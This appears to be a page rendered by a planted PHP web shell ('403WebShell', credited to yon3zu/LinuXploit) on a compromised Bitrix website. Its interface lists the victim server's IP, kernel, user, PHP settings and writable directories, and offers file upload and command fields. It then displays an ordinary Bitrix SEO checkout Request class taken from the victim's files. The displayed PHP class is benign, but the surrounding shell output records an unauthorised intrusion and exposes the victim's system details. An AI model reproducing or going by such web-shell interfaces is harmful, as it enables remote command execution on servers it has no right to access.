%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.117.183.43
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/seo/lib/checkout/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/seo/lib/checkout/request.php
<?php

namespace Bitrix\Seo\Checkout;

use Bitrix\Main\Error;
use Bitrix\Main\SystemException;
use Bitrix\Seo\Retargeting\Internals\ServiceLogTable;
use Bitrix\Seo\Retargeting\AdsHttpClient;

/**
 * Class Request
 * @package Bitrix\Seo\Checkout
 */
abstract class Request
{
	const TYPE_CODE = '';

	/** @var AuthAdapter */
	protected $adapter;

	/** @var AdsHttpClient */
	protected $client;

	/** @var Response $response Response. */
	protected $response;

	/** @var string $type Type. */
	protected $type;

	/**
	 * Request constructor.
	 */
	public function __construct()
	{
		$this->type = static::TYPE_CODE;

		$options = array(
			'socketTimeout' => 5
		);
		$this->client = new AdsHttpClient($options);
	}

	/**
	 * Get auth adapter.
	 *
	 * @return AuthAdapter
	 */
	public function getAuthAdapter()
	{
		return $this->adapter;
	}

	/**
	 * Set auth adapter.
	 *
	 * @param AuthAdapter $adapter Auth adapter.
	 * @return $this
	 */
	public function setAuthAdapter(AuthAdapter $adapter)
	{
		$this->adapter = $adapter;
		return $this;
	}

	/**
	 * Get response.
	 *
	 * @return mixed
	 */
	public function getResponse()
	{
		return $this->response;
	}

	/**
	 * Get client.
	 *
	 * @return AdsHttpClient
	 */
	public function getClient()
	{
		return $this->client;
	}

	/**
	 * Set client.
	 *
	 * @param AdsHttpClient $client Http client.
	 * @return $this
	 */
	public function setClient(AdsHttpClient $client)
	{
		$this->client = $client;
		return $this;
	}

	/**
	 * Create instance.
	 *
	 * @param string $type Type.
	 * @return static
	 * @throws \Bitrix\Main\ArgumentOutOfRangeException
	 */
	public static function create($type)
	{
		return Factory::create(get_called_class(), $type);
	}

	/**
	 * Send request.
	 *
	 * @param array $params Parameters.
	 * @return Response
	 * @throws SystemException
	 */
	public function send(array $params = array())
	{
		if (!$this->adapter)
		{
			throw new SystemException('AuthAdapter not applied.');
		}

		$options = [
			'socketTimeout' => 5
		];
		$this->client = new AdsHttpClient($options);

		$data = $this->query($params);
		$response = Response::create($this->type);
		$response->setRequest($this);
		$response->setResponseText($data);
		try
		{
			$response->parse($data);
		}
		catch (\Exception $exception)
		{
			$response->addError(new Error($exception->getMessage(), $exception->getCode()));
		}

		if ($response->getErrorCollection()->count() > 0)
		{
			$errors = $response->getErrors();
			foreach ($errors as $error)
			{
				if (!$error->getMessage())
				{
					continue;
				}

				ServiceLogTable::add(array(
					'GROUP_ID' => 'checkout',
					'TYPE' => static::TYPE_CODE,
					'CODE' => $error->getCode(),
					'MESSAGE' => $error->getMessage()
				));
			}
		}

		return $response;
	}

	/**
	 * Query.
	 *
	 * @param array $params Parameters.
	 * @return mixed
	 */
	abstract public function query(array $params = array());
}

Youez - 2016 - github.com/yon3zu
LinuXploit